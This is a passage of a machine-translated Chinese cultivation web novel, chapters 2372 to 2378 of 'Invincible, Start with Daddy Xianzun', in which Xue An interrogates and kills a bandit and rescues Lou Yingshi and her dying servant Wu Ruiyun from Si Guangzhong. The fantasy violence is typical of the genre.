    Such a tragic situation made the stingy boss shudder, and his heart was full of infinite awe for Xue An.


    Because he doesn''t know what kind of monk this young man is now.


    In the beginning, his method was clearly physical cultivation, because he was playing against the three of them with his own palms.


    Behind it was acting like a sword repairer, and a sword cut off the heads of three of his men.


    Invincible, the latest chapter address starting from Xianzun Dad: https://


    Invincible, read the full text from Dad Xianzun: https://


    Invincible, start from Xianzun''s daddy txt download address: https://


    Invincible, start reading on mobile phone from Dad Xianzun: https://


    For the convenience of reading next time, you can click "Favorites" below to record the reading record of this time (Chapter 2372 Nightmare Town San), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ()

 Chapter 2373： bargain

    But now, his magical fire control technique and that mysterious and powerful flame are like a fire repair.


    The superposition of these three identities made Xue An''s position in his mind infinitely elevated.


    Could it be...


    Is he a cultivator of Individual Sword Fire III?


    This thought made him want to die with horror, and he didn''t have the slightest chance of luck, which also made Xue An''s subsequent questioning very smooth.


    "What''s your name?"


    "In response to the adults, the villain''s name is Tang Longtao!"


    "What do you guys do?"


    "Born to rob home and house!"


    Xue An sneered, "That''s it?"


    Tang Longtao trembled, his face pale and said, "Sometimes...sometimes he kills a few people!"


    "Is it just killing a few people?" Xue An raised his hand and pointed to the man under the eyes who was still suffering from the pain of refining the fire.


    "He alone bears the injustice of at least thousands of young girls. You call this just killing a few people?"


    Tang Longtao was speechless, speechless.


    "Come on, what are you doing here?"


    "Naturally come to participate in the rally!"


    Before the words fell, a ray of flame rose from the end of Tang Longtao''s left hand finger, and quickly spread up, wherever he passed, his bones disappeared and turned into fly ash.


    And not only the body, but the left hand on the soul also disappeared.


    Such severe pain caused Tang Longtao to howl like a pig.


    Xue An looked at him coldly, and said in a cold tone: "Believe it or not, if you dare to lie to me, then this flame will burn you into nothingness a little bit, it is a double pain on the body and soul!"


    "My lord is forgiving, my lord is forgiving, I will say everything, I will say everything!" Tang Longtao begged frantically for mercy.


    The flame stopped at Tang Longtao''s shoulder.


    "Let''s talk, you scumbags, what are you going to do in this rally?"


    Tang Longtao was sweating profusely, "My lord, we are here because someone bought us, let us intercept and kill a person here, and then take the things from him!"


    "Oh? Who did you intercept? Who bought you?"


    "We don��t know the person who bought us, but a man in black came up suddenly ten days ago and gave us a generous deposit for us to intercept a woman named Lou Yingshi at this gathering. , And bring back something from this person. As long as this is done, he will thank you again!"


    "So you are here?" Xue An asked.


    "Ok!"


    "Hehe, how can a scum like you talk about credibility like this? Shouldn''t the most normal operation be to receive a deposit and then refuse to accept it?" Xue An sneered.


    This Tang Longtao looked embarrassed, "In fact, we did think about it, but this man paid a very high price after the incident was completed. At the same time, he also told us that he only needs the thing that this woman carries!"


    "Other than that, the rest belong to us! And this woman named Lou Yingshi is obviously also rich in oil and water, so we were moved!"


    "Then do you know what this thing you are looking for is?"


    "I don''t know, but what the black man meant should be something similar to armor!"


    "Armor?" Xue An''s heart moved, his face appeared contemplative.


    Tang Longtao hurriedly begged for mercy when he saw this: "My lord, I didn''t mean to provoke you on purpose. It''s all to blame for the lack of eyesight of my men. Now they have received their due punishment! And I also lost an arm!"


    "So your lord has a large number, so let me make a living. I promise to change my mistakes and never do bad things again!"


    After speaking, Tang Longtao looked at Xue An cautiously.


    Xue An woke up from deep thought, "Let you go? This is not impossible, but I want to know all the information about the woman named Lou Yingshi! Including her appearance and when she came here! Tell me All in all, I can consider letting you die!"


    "Yes, yes! I want to give you these naturally, but..."


    Xue An raised his eyebrows slightly, "Huh? But what?"


    Tang Longtao gritted his teeth, "But I''m afraid you will kill me after you know all the information!"


    Xue An smiled, "Are you bargaining with me?"


    "Of course not! But in order to survive, I have to do this!" Tang Longtao said bitterly.


    Xue An stared at him coldly, "Then you are not afraid that I will directly search for the information you need from your soul?"


    "I''m not afraid of this, because I have blocked all the information through Divine Mind Secret Art. Unless I agree to unlock it, even if you kill me, you won''t get any useful information!" Tang Longtao is confident. Said.


    "So I think we should really talk about it calmly. As long as you are willing to let me go, then I will tell you all the information you want to know! What do you think?"


    After all, Tang Longtao looked at Xue An as he thought it was worthwhile.


    Xue An''s eyes gradually became cold.


    "So you are not bargaining with me, but threatening me!"


    "Whatever you say, I just want to live, how about it? Are you willing?" Tang Longtao asked.


    "Do you think I have no second choice?" Xue An said.


    Tang Longtao sneered, but his attitude said everything.


    "Unfortunately, you guessed wrong! I, Xue An, have never been threatened by anyone!"


    When the words fell, Xue An used his palm to force him, ignoring Tang Longtao, who was panicked, and snapped his neck off. UU reading www. uukanshu.com


    His head drooped weakly.


    But this was far from over, but seeing Xue An stretched out his finger, it directly inserted into the center of Tang Longtao''s eyebrows.


    puff!


    Blood bursts out.


    Then Xue An abruptly pulled out a small ball of light from his eyebrows.


    It is Tang Longtao''s soul-knowing sea.


    now.


    In this ball of light, a miniature Tang Longtao was screaming frantically.


    "Boy, don''t be too much of a human being. If you let me go now, I''d better say, otherwise I will destroy all the information!"


    With the shouts, a vague mist appeared above the ball of light, and all the memories of this incident were blocked inside.


    But Xue An just sneered at this, "Do you think this can stump me? You are too naive!"


    With that, Xue An''s eyebrows suddenly burst into a majestic spirit, and instantly enveloped the cloud of mist.


    Seeing this vast divine mind that looked like heaven and earth, Tang Longtao, who was clamoring for a moment, was dumbfounded, then looked at the scene with a dull expression, and muttered softly in his mouth.


    "How is it possible! How could he have such a powerful spiritual mind? Could it be... he is a monk who practices the four realms of sword, body, fire, and **** at the same time?"


    "No, this is absolutely impossible!"


    But the facts are not shifted by his horror and unbelief.


    In an instant, under the envelop of Xue An''s mind, the mist that had been blocked by layers was cracked open like no one''s land.


    Then the memory in it gradually appeared.


    The invincible chapters of "Invincible, Starting from the Immortal Daddy" will continue to be updated on the novel website, there are no ads in the site, please collect and recommend!


    I like Invincible, and please collect it from Dad of Xianzun: () Invincible, it is the fastest to update from Dad of Xianzun.

 Chapter 2374： action

    "Invincible, start with Dad Xianzun (!


    When Xue An returned to the second floor of the Medicinal Restaurant, the shop''s little Er was standing upright in front of the box door, and a sign was erected in front of him.


    Dine for the distinguished guests, do not disturb the idlers.


    Seeing this scene, Xue An couldn''t help showing a smile on his face.


    Although he knew that the second person in this famous shop was doing so **** the face of the two top-grade spirit crystals, he liked to deal with such people.


    After all, in some cases, being able to do things with money is already a rare quality.


    At the same time, the shopkeeper also saw Xue An walking up, his eyes lit up, and then trot to greet him.


    "My lord, you are back! I have been guarding the door just now, and no one disturbs the two ladies'' dining!"


    In his opinion, An Yan and Ao Shu are obviously confidantes of the boy in front of him, so they spoke very diligently.


    Xue An naturally wouldn''t explain it to him, but just smiled faintly, "You did it with your heart!"


    When he said that, he threw two spirit crystals in his hand.


    After receiving the spar, Xiaoer in the shop saw the quality of the two spirit crystals at a glance, and couldn''t help showing a flattered look.


    "My lord, you are so polite, you just rewarded enough! These..."


    "Take it, you have worked hard too, this is your reward!" Xue An said lightly.


    "No hard work, no hard work, this should be done!"


    As he said, the smile on Xiao Er''s face was almost overflowing, and he nodded and bowed vigorously.


    "My lord, please!"


    Xue An nodded and walked towards the box.


    At this moment, after eliminating a large table of dishes, the two little girls and Ao Shu were finally full of food and drink, and leaned back on the chairs contentedly.


    "Wow, it''s so full!" Nian Nian patted her swollen belly and whispered softly.


    Thinking about it, she didn''t speak, so at this moment, her mouth was full of various dishes, causing her small face to be round and bulging, and she was chewing laboriously.


    It looked like a little hamster.


    Suddenly, Nian Nian seemed to have discovered something, and Huo Ran got up, "Hey, mom, where did dad go?"


    "Yeah! Where did Dad go?" Thinking about it, he quickly swallowed the food in his mouth, with a confused expression on his face.


    At this moment, I heard a chuckle from outside the door, "You two... didn''t you find out that I was missing until now?"


    Following the voice, Xue An walked into the box.


    "Dad, what did you do? Why did you disappear while you were eating?" Thinking and Nian Nian asked in unison.


    Although Ao Shu didn''t speak, his eyes were full of doubts.


    Xue An smiled, then flipped his wrist, and a big package appeared in his hand. When he put it on the table and opened it, it was filled with all kinds of novel gadgets.


    The two little girls cheered and immediately rushed forward.


    "Do you like it?" Xue An asked with a smile.


    "Hmm!" The two little girls picked up this, and couldn''t bear to let go of that, they didn''t even lift their heads in excitement.


    At the same time, Xue An also brought a few small accessories that girls liked with Ao Shu, and Ao Shu was naturally not happy.


    One year old and two young, the three girls got together and laughed and laughed.


    Xue An smiled back to his seat and handed An Yan a small gift.


    An Yan''s attention was not on the gift. She looked at Xue An deeply, and then asked in a low voice.


    "Husband, what did you just do?"


    "Nothing, I went shopping! I bought you something by the way!" Xue An chuckled as he looked at the two daughters who were playing.


    Looking at Xue An''s profile, An Yan wanted to say something, but finally swallowed it back.


    Because she smelled a faint smell of blood from Xue An''s body.


    This **** smell is very weak, unless it is a person who is very familiar and understand Xue An, otherwise it is impossible to detect it at all.


    But even so, An Yan still didn''t ask anything, because she knew very well that since Xue An didn''t say anything, there must be his reasons.


    So she just smiled and stopped talking.


    After the two little girls had enough fun, the group left the medicated restaurant and returned to the hotel where they had settled before.


    Surprisingly, Cha Wenliang was not in the hotel.


    But everyone didn''t care too much. After all, this is the territory of the Pharmacist Alliance. As a veteran member of the Pharmacist Alliance, he might be looking for his old friends.


    After a long journey, I went shopping for a whole day, so after I came back, the two little girls and Ao Shu went back to their room to sleep early.


    This time An Yan didn''t let Miss Miss go back to Fubao Xiaolou, but let them sleep in a room with Ao Shu.


    After they fell asleep, Xue An and An Yan also returned to their rooms. After chatting a few homely, An Yan''s voice became smaller and smaller, and then they fell asleep deeply.


    Xue An turned off the light in the room, but did not go back to bed to sleep, but sat quietly by the window.


    The location of this hotel is very good, and because of Cha Wenliang''s identity, the three rooms they booked are the top suites in the hotel. Sitting by the window, you can overlook the bustling city in the distance.


    At this moment, the hustle and bustle of the market in the distance faintly came, and it brought out the silence in the room.


    Xue An sat silently, the light outside was reflected on half of his face by the window through the special glass window, and the other half of his face was hidden in the darkness, making it appear that his eyes were so dark. Profound.


    After a long time, the stars faded, the lights would go out, and An Yan, who was lying on the bed, had already uttered a sweet snoring sound.


    But at this moment, Xue An suddenly raised his eyes, his eyes flashed with brilliance, and then the whole person disappeared by the window.


    When he left, it took another moment before An Yan on the bed slowly opened her eyes, and then let out a soft sigh.


    At the same time, in a wild place far away from the bazaar, two figures suddenly stumbled out of the darkness, and then fell on the ground almost exhausted.


    "Miss, how are you?" One of them is 60 or 70 years old, UU reading www. The woman with white hair on uukanshu.com still struggled hard after landing, and asked with great concern.


    The one who was called the eldest lady was a young girl who was pale and shook her head, "Mother-in-law, I''m fine!"


    "It''s all right, it''s all right!" The old woman breathed a sigh of relief, but immediately she vomited a big mouthful of blood.


    Upon seeing this, the young girl rushed over and held the old woman in her arms, and then said in a crying voice: "Mother, how are you?"


    The old woman shook her head, "I''m fine, Miss, you don''t care about me, hurry up and take advantage of this opportunity to leave the Pharmacist Alliance as soon as possible, the farther you go, the better!"


    Invincible, the latest chapter address starting from Xianzun Dad: https://


    Invincible, read the full text from Dad Xianzun: https://


    Invincible, start from Xianzun''s txt download address: https://


    Invincible, start reading on mobile phone from Dad Xianzun: https://


    In order to facilitate the next reading, you can click "Favorite" below to record the reading record of this time (action Chapter 2374), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ()

 Chapter 2375： Retaliate

    But the young girl just shook her head and wept, "No, I won''t go, mother-in-law, you got so badly hurt to save me, I can''t leave you alone!"


    But the old woman was even more anxious when she heard the words, "Miss, my old lady has lived to this day thanks to the great kindness of the Lou family. How can you just watch your Lou family''s queen and ignore it? Listen to me, leave quickly, or wait for the chase. It''s really too late if you arrive!"


    With that, the old woman''s chest and abdomen began to ooze out of blood crazily, and in the blink of an eye the girl was stained.


    The young girl was stunned. When she opened her clothes and took a look, she saw a huge wound just piercing the old woman''s chest, and she could even see the light coming through behind her.


    The young girl started to tremble slightly, "Mother-in-law, your injury..."


    "At that time, someone was accidentally attacked by that kid! Miss, listen to me, hurry up and leave here, I will block those chasing soldiers, this is your only way out!" The old woman said anxiously.


    But at this time, the wrinkles on her face became more and more serious, and she was several years old in the blink of an eye.


    The tears in the eyes of the young girl fell down, but her tone was very firm and said: "No, I will not go, if I leave, you will definitely die!"


    "Miss, why are you so stupid? Even if you don''t leave, do you think I can survive?" The old woman smiled bitterly.


    The young girl trembled all over, "How come..."


    "At that time, this blow had shattered my soul, but I was able to bridge it through the secret technique, and I have survived until now, so now no matter whether you go or not, I will definitely die!"


    Speaking of this, the old woman''s tone also became a little choked, "Miss, instead of waiting here for death with the two of us, it is better for you to run out desperately. This way, you can save a glimmer of hope and let the Lou family''s grievances. There is a possibility of Zhaoxue!"


    The young girl''s complexion was as pale as a piece of white paper, and her whole body was trembling.


    "But...but..."


    "There are not so many, Miss, do you have the heart to let the old man and the others sacrifice for nothing?" the old woman yelled.


    The young girl finally moved, and then knelt down with tears on her face, "Mother-in-law, then I''m leaving!"


    "Hurry up, if it is destined, we will see you in the next life!" The old woman chuckled.


    The young girl clenched her teeth, then suddenly turned around and ran into the darkness.


    Because she was afraid that she would cry again.


    Looking at her back, the old woman''s eyes gradually softened, and her mouth whispered softly: "Lou En Gong, my old woman Wu is not an ungrateful person, now...I''m paying you back!"


    As she said, she struggled to sit up, tucked up the scattered buns behind her head with her hands, and pulled up a small bun.


    Then she took a deep breath, and with this breath, the wounds that were bleeding from the chest and abdomen began to heal quickly.


    When she raised her head again, the whole person seemed to be shining, and she suddenly got up and strode forward.


    After walking for a few miles, I felt that the eldest lady should have gone far, so she stood still, and then stomped her foot suddenly.


    boom!


    The ground in a radius of several hundred feet trembles, and what trembles together is the starry sky above her head.


    That''s because a decisive aura rose to the sky, shaking the starry sky.


    And when the momentum appeared, but in an instant, dozens of figures rushed from the distant sky.


    These figures came from all directions, and came in front of the old woman in an instant.


    "Wu Ruiyun? Why are you alone, Lou Yingshi?" an old man in the lead screamed.


    Wu Ruiyun sneered a few times and cast a sideways glance at the old man.


    "The name of the eldest lady can be called directly by you, a seller and prosperous person?"


    The old man blushed and his momentum stagnated.


    "Stop talking nonsense, tell me where you hid Lou Yingshi and other things? Otherwise, you will die today!" The people behind the old man began to clamor.


    "Yes, if you say it, it will give you a good time, otherwise we will let you taste the pain of the world and then die miserably!"


    Wu Ruiyun laughed amidst the shouting.


    "You can only wait for a bunch of running dogs, and dare to threaten my grandmother? To tell you the truth, the eldest lady has already been rescued by a certain expert. When she comes back, you will be waiting for your life!"


    The crowd began to commotion.


    The face of the old man in the lead became extremely ugly.


    But at this moment, I heard a sneer from the sky in the distance.


    "The crazy woman is really not ashamed, and she said that she was rescued by an expert, then look at who this is?"


    Following the voice, a golden light swept across the sky, and then the figure in it appeared.


    He was a gloomy teenager, and who was captured in his hands instead of Lou Yingshi who had just left?


    Upon seeing this scene, Wu Ruiyun couldn''t help but her complexion changed drastically, and exclaimed: "Miss!"


    But at this moment Lou Yingshi couldn''t even say a word, just cried silently at Wu Ruiyun.


    "What did you do to the eldest lady?" Wu Ruiyun shouted at the young man.


    "What can I do? I just blocked her voice pulse easily, but if you are not willing to tell where the thing is, then she will be blocked more than just the voice pulse. !" The boy sneered.


    Wu Ruiyun''s expression changed, and finally he said in a deep voice, "Where is that thinghow can I know..."


    Before she finished speaking, the boy interrupted her impatiently, "Very well, it seems that you don''t intend to say it, then please enjoy it!"


    As he said, he stretched out his hand and stroked Lou Yingshi''s delicate cheek with his fingertips, "Tsk tsk, it''s a pity that this beautiful face is beautiful!"


    Following the voice, a cold dagger appeared in the young man''s hand.


    "I just don''t know how such a beautiful face would look like if it were peeled off?"


    There was a look of fear in Lou Yingshi''s eyes.


    In fact, few girls can''t be afraid when they hear such words.


    This Wu Ruiyun was even more angrily attacking, "Don''t do anything to the eldest lady, I say, I say everything!"


    "Oh? Really? Then tell me now, where is that thing?" The young man stopped the dagger in his hand and said coldly.


    "That thing is hidden in a place that only I know, but you have to let go of the eldest before I can tell you!" Wu Ruiyun said anxiously.


    The boy laughed, "It seems that you still don''t understand the current situation. This Lou Yingshi should be the only descendant of the Lou family, and she is in my hands now, so if you dare to bargain with me... "


    The dagger in the young man''s hand slammed down, and Lou Yingshi''s pupils shrank instantly, but the tip of the dagger stopped when it was only a few millimeters away from her eyes.


    Then the boy said coldly: "Next time my hands may not be so stable!"


    The invincible chapters of "Invincible, Starting from the Immortal Daddy" will continue to be updated on the novel website, there are no ads in the site, please collect and recommend!


    I like Invincible, and please collect it from Dad of Xianzun: () Invincible, it is the fastest to update from Dad of Xianzun.

 Chapter 2376： Shot

    "Invincible, start with Dad Xianzun (!


    Wu Ruiyun almost screamed, then gritted his teeth, "Okay, then I will tell you now, that thing is hidden in this coordinate!"


    With that said, Wu Ruiyun threw a divine thought over it.


    After the young man received the divine thought, his eyes flashed, and then he said in a deep voice to the person behind him: "Go and check!"


    "Yes!"


    The old man led a few people to lead the way, while the young man looked at Lou Yingshi indifferently.


    Time passed by every minute and every second.


    After just a stick of incense, the old man rushed back with excitement, holding a piece of cyan jade slip in his hand.


    "My Lord, I found this thing according to the coordinates!"


    The old man respectfully handed over the cyan jade slip in his hand, and the young man took it without hesitation. After a moment of careful consideration, a smile appeared on his face.


    Because this jade slip is engraved with an ancient style building, it is obviously used to store important things.


    It is conceivable that the thing he was searching for must be placed in it.


    Therefore, he suppressed the excitement in his heart, his spiritual thoughts poured out, and he wanted to open this jade slip.


    But after a try, he actually failed.


    Shennian was repelled extremely strongly after throwing into this blue jade slip.


    The young man was taken aback, even if he increased the intensity of his spiritual thoughts, he still returned without success.


    And he didn''t dare to increase the intensity of his spiritual thoughts anymore, because this jade slip was obviously not that simple, and there was a faint self-destructive program in it. If he broke through forcibly, he might not get anything.


    At this moment, the youth''s complexion instantly became gloomy and iron-like, and he looked at Wu Ruiyun on the ground coldly.


    "What''s going on? Why can''t this jade slip be opened?"


    Wu Ruiyun sneered, "Of course it can''t be opened, because the self-destructive circle attached to it was sealed by me. No one but me can unlock it!"


    With that said, Wu Ruiyun raised his head, his face full of coldness.


    "Si Guangzhong, you have seen this jade slip. It must not be faked, and the thing you are looking for is in this jade slip. Now let go of the eldest lady and let her leave the Star Territory of the Pharmacist Alliance, I It can be unlocked for you, otherwise you won��t even want to get it!"


    After listening to Wu Ruiyun''s words, the young man known as Si Guangzhong flashed a vicious look in his eyes, and he was obviously extremely angry.


    Because no one had ever dared to threaten him like this, but he was helpless. The most important thing now is to obtain the things in this jade slip, and this jade slip can only be opened by Wu Ruiyun, so he is preparing to compromise.


    But at this moment, the old man standing behind him suddenly thought of something. He leaned forward and whispered: "Sir, please don''t worry, I think there must be other ways to solve this jade slip. open!"


    "Oh? Is there any way to unlock it?"


    "It''s very simple. Based on what I know about Wu Ruiyun, she is a loyal old dog from Lou''s family, and this thing is from Lou''s family, so she must leave it behind when setting up the self-destructing circle. The back door will be opened so that the people of the house can open it in the future!"


    Hearing this, Wu Ruiyun changed his face and roared: "Bi Zuqiang, you are a traitor who sells glory to you. Old man Lou was not shameful to you at the beginning, but did you return him like this?"


    But Bi Zuqiang looked at Si Guangzhong in front of him flatly as if he hadn''t heard these words at all.


    Si Guangzhong''s eyes gradually brightened, and he nodded in satisfaction, "Very well, you are right, but I was negligent! After this incident, I will personally ask for your credit!"


    Bi Zu Qiangxi was happy, "Thank you, sir!"


    Obviously, the Lou family has been almost destroyed now, and the only survivor is this Lou Yingshi.


    So Si Guangzhong picked up the cyan jade slip in his hand and said to Lou Yingshi with a grinning grin.


    "Miss Lou, don''t blame me for being cruel. It''s because this thing is too important. Your Lou family is not qualified to own it. The so-called guilt is not guilty, so... you just confess your life!"


    With that, Si Guangzhong brandished a dagger in his hand and stab Lou Yingshi viciously.


    As for Bi Zuqiang, he stopped Wu Ruiyun, who was desperately rushing, with a sneer on his face, and at the same time he said non-stop.


    "Wu Ruiyun, you call me an old dog who sells me for glory. In fact, you are not the same? The so-called loyalty ended up with such a tragic ending. Are you stupid and what is it?"


    Wu Ruiyun''s eyes were blood red, and he didn''t listen to Bi Zuqiang''s words at all, but instead blindly attacked.


    If according to the usual strength, Wu Ruiyun is far better than Bi Zuqiang, but now she is helplessly seriously injured, and she is already at the end of the battle.


    Therefore, not only did several shocks fail to work, but Bizu forced them to retreat.


    Seeing that the young lady was about to kill Si Guangzhong''s subordinates, Wu Ruiyun opened his mouth and vomited another big mouthful of blood under the combined effect of angrily attacking his heart and adding serious injuries.


    "Miss! Heaven, how unfair you are!"


    Amid the screams, Si Guangzhong''s eyes showed a touch of cruel excitement.


    If there is no accident, the dagger in his hand will pierce Lou Yingshi''s throat in the next instant.


    At that time, the soul will splash out with blood.


    I really shudder when I think about it!


    But at this very moment, Si Guangzhong suddenly felt that the dagger in his hand was stagnant, and he couldn''t even move forward anymore.


    Just when he was shocked, a cold voice came from his ears.


    "After killing all the people, they tortured orphans and seized treasures. Isn''t this a bit unreasonable!"


    Hearing this voice, Si Guangzhong was horrified, because he hadn''t even felt the slightest strangeness before, but now he was approached by someone unconsciously.


    How terrifying is this strength to conceal one''s own perception perfectly?


    Although shocked in his heart, his reaction was extremely quick.


    I saw him easily flipped the dagger in his hand that was blocked by an invisible force, and swung it straight to the sound.


    This blow carried Si Guangzhong''s full strength, and the might be called tyrannical.


    But just as before, his dagger had just been slashed to more than half the distance, and it stopped again.


    Only then did Si Guangzhong see the incoming person clearly. UU Reading


    I saw a young man in white clothes standing next to him, looking at him coldly, while his dagger was tightly clamped by his two fingers, and he couldn''t move at all.


    At this time, just when the stars were shining brightly, a little bit of light shone on the boy''s body from behind, coating him with a layer of silver.


    This scene made Si Guangzhong a little dazed.


    Lou Ying''s poem, which was originally thought to die, was even more confused.


    Who is this boy? Why did he save me?


    Invincible, the latest chapter address starting from Xianzun Dad: https://


    Invincible, read the full text from Dad Xianzun: https://


    Invincible, start from Xianzun''s txt download address: https://


    Invincible, start reading on mobile phone from Dad Xianzun: https://


    In order to facilitate the next reading, you can click "Favorites" below to record the reading record of this time (Chapter 2376 Shot), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ()

 Chapter 2377： People in the world take care of the affairs of the world

    Just as this doubt arose in her heart, she saw the young Chong Si Guangzhong smile slightly.


    "You dagger, it''s time to change it!"


    Following the voice, he saw the young man''s wrist strained slightly.


    With a crisp sound, the dagger broke.


    Not only that, the ensuing Juli shocked Si Guangzhong back a few steps.


    "Who are you? Why do you want to interfere with the affairs of our family?" Si Guangzhong stared at the young man, and shouted coldly.


    The smile on Xue An''s face remained the same, he didn''t seem to be angry with Si Guangzhong''s attitude, but sighed lightly.


    "It doesn''t matter who I am, what is important is that you are a little too unsympathetic in doing things!"


    "Unfeeling?" Si Guangzhong sneered, "What a joke, this is a private matter between our family and the Lou family. What does it have to do with you?"


    "The world is in charge of the affairs of the world, how can I say that it has nothing to do with me?" Xue An said lightly.


    Si Guangzhong sneered, but quietly winked at his opponent.


    Bi Zuqiang and others dispersed without moving expressions, and faintly trapped Xue An in it.


    Looking at this scene, Lou Yingshi couldn''t help showing an anxious look on her face, but at this moment, her voice was sealed, and she couldn''t say anything at all.


    But Wu Ruiyun on the ground had already understood at this moment, and could not help shouting loudly.


    "Little sir, be careful, this Si Guangzhong is deliberately delaying time to besiege you!"


    But her reminder came a little later, and Si Guangzhong grinned, "Since you want to be nosy, then go to death!"


    This sentence was an order, and many of his men, including Bi Zuqiang, immediately launched an attack.


    The offensives from all directions continued together, blasting towards Xue An in a momentum of overwhelming Mount Tai.


    Obviously, these subordinates have been strictly trained, and the angle of their moves has reached the peak, and all possible retreats for Xue An have been sealed.


    At this moment, he had to wait to die except for a hard fight.


    A smug smile appeared on Si Guangzhong''s face.


    Somehow, he was wary and jealous of the white-clothed boy.


    The suspicion is that this guy can come to him without knowing it, and break his dagger abruptly.


    The strength represented by this made him also awe-inspiring.


    Jealousy was that he found that this young man was far superior to him in terms of temperament and appearance.


    This naturally made him quite uncomfortable, who had always been in the limelight since he was a child.


    But all this will pass soon, as long as he dies, then everything is over!


    Wu Ruiyun naturally saw the danger of the situation, but she couldn''t even protect herself now, so she could only look at the bright brilliance with regret and lament in her heart.


    Is God going to perish the house?


    But at this moment, a bright sword light suddenly rose amidst the continuous Guanghua offensive.


    As soon as this sword light came out, the originally tyrannical offensive instantly collapsed.


    Immediately afterwards, I saw the light of the sword flashing slightly.


    Puff puff!


    After a few muffled noises, these attackers immediately broke off.


    As the blood splashed, a figure came out in a hurry, trying to flee towards the distance.


    It was the Bi Zuqiang who had betrayed the Lou family and the seller sought glory.


    But he didn''t have a few steps just after he ran out, and a faintly imperceptible sword light chased from behind, directly piercing his entire chest and abdomen.


    puff!


    In the muffled sound, Bi Zuqiang was shocked, and then looked at Si Guangzhong not far away with a desperate and horrified face.


    "My lord...save..."


    In the end, before the word I was uttered, Jian Guang shredded his whole body.


    Blood flowed, bone debris flying!


    These miserable scenes made Si Guangzhong''s complexion extremely ugly.


    But he did not run away.


    Because he knew very well that with the cultivation base shown by this sword light, he couldn''t run away at all.


    It''s better to stand still and see what the sudden appearance of the teenager really means.


    Holding this thought, he looked at him with a stern face.


    At this time, the sword light converged, and then Xue An walked out slowly.


    This scene made Lou Yingshi and Wu Ruiyun, who were still worried just now, breathed a sigh of relief.


    Wu Ruiyun''s heart couldn''t help but began to mutter.


    Such a strong young sword repairer, but it seems that he has never heard of such a young and powerful sword repairer in the sky!


    And his sword intent seemed strange.


    When she was puzzled, Xue An had also approached Si Guangzhong.


    "Here, you guys are not obedient, so I will send them for you, no thanks!"


    Si Guangzhong almost spit out blood.


    You killed my person and said no thanks?


    However, the situation was better than others, and he could only look at Xue An with a green face, and didn''t say coldly until a long time later.


    "Your cultivation is tyrannical, but have you ever thought about it, this is the territory of the Pharmacist Alliance!"


    "So what?" Xue An smiled lightly.


    Si Guangzhong proudly said: "It seems that your Excellency still doesn''t know my family. I am Si Guangzhong, the third son of the Si family. The Si family is also ranked among the top ten families in the Pharmacist Alliance!"


    Xue An simply folded his arms and listened with a smile.


    Until he finished speaking, Xue An said: "Oh? What then?"


    There was a hint of anger in Si Guangzhong��s eyes, "Then if you leave now, I don��t need to hold you accountable for killing my subordinates, and assume that nothing has happened. Even if you are willing, our family can still follow You make friends!"


    "It doesn''t matter if you make friends, UU reading will destroy the friends who are full of people at every turn. I am not interested!" Xue An said lightly.


    This sentence made Si Guangzhong''s eyelids jump, but he still forced himself to endure: "Then what do you mean?"


    "It''s very simple. If you owe debts, pay back, kill, and pay, since you killed this girl, you just wanted to kill and win treasure, so now I want to know what this girl wants to do with you! If she let you go, then you can do it yourself Leave, but if she doesn''t want to... then I''m sorry!"


    Xue An said this in a soothing tone, but with a creepy coldness.


    Si Guangzhong''s complexion changed wildly.


    Because he knew that if he did what Xue An said, he would definitely die.


    After all, the hatred between him and Lou''s family can no longer be measured by common sense.


    If it is possible, Lou Yingshi would even want to eat him raw, how could he let him go?


    As soon as he thought of this, he suddenly snorted, and a piece of Guanghua took Lou Ying''s poem straight behind him, and at the same time the whole person soared into the sky, and he wanted to flee.


    His wishful thinking is very good. If this young man wants to save Lou Yingshi, he must delay for a while, so he has the opportunity to escape.


    But the ideal is full, but the reality is very skinny.


    Not long after he rushed out, he felt a flower in front of him, and then a chill came from his throat.


    That is a kind of cold that can freeze the soul!


    Immediately afterwards, blood burst out, like flowers in full bloom!


    The invincible chapters of "Invincible, Starting from the Immortal Daddy" will continue to be updated on the novel network, there is no advertisement in the site, please collect and recommend it!


    I like Invincible, and please collect it from Dad of Xianzun: () Invincible, it is the fastest to update from Dad of Xianzun.

 Chapter 2378： Dying

    "Invincible, start with Dad Xianzun (!


    The dripping blood splashed into the sky, and also dyed Lou Yingshi''s eyes red.


    At this moment, her voice pulse had returned to normal with Si Guangzhong''s death, and she only wailed.


    "Daddy, one of the enemies who killed the whole family of my house has already died. Please stay away from the Spirit of Heaven, and let''s see how these enemies are punishable one by one!"


    With that said, she threw herself to her knees and knocked her head again and again at Xue An.


    Xue Anwei turned sideways and avoided her kowtow, but his eyes stayed on the corpse of Si Guangzhong floating in the void.


    Because he can clearly feel that although this body is dead, the spirit in it has disappeared.


    To put it bluntly, it was Si Guangzhong''s body that died, but his soul was saved by an unknown force at that moment.


    Xue An was not surprised by this, after all, wealthy children like Si Guangzhong would surely have a few tricks to save their lives.


    Xue An sneered slightly and waved his hand. The flames burst forth, completely covering his body, and in an instant it was burned into nothingness.


    After finishing all this, Xue An bent down to pick up the cyan jade slip floating in the air, and then smiled at Lou Yingshi who was still kneeling on the ground.


    "Get up!"


    Lou Yingshi only felt that when the teenager was smiling, a gentle force lifted herself up from the ground abruptly, which made her feel astonished.


    But at this moment, only a plop was heard, but Wu Ruiyun fell to the ground with his back face upside down, blood flowing down her chest and abdomen, and she was unconscious.


    Lou Yingshi shook her body and rushed to the front, then hugged her, "Mother-in-law! Mother-in-law, wake up!"


    But no matter how she shouted, Wu Ruiyun did not open her eyes.


    Lou Yingshi''s tears fell down, suddenly thinking of something, turned around and choked at Xue An and said, "Gongong, please help your mother-in-law!"


    Xue An had already seen Wu Ruiyun''s injuries, so he could only shake his head and sigh slightly.


    "I''m sorry, her injury is hopeless! But I have a friend who should be able to let her last a little longer. As for how long it can last, then I don''t know!"


    Despite this, there is still a glimmer of hope in Lou Yingshi''s eyes.


    "As long as you can hold on for a while, it''s good! I beg your favor!"


    Xue An nodded, then raised his hand and waved, a sword light lifted Wu Ruiyun up.


    "Let''s go!"


    The distance from here to the inn was not fleeting for Xue An, but because he was worried about the injury to Wu Ruiyun, Xue An still slowed down.


    Despite this, it took only a cup of tea to return to the hotel.


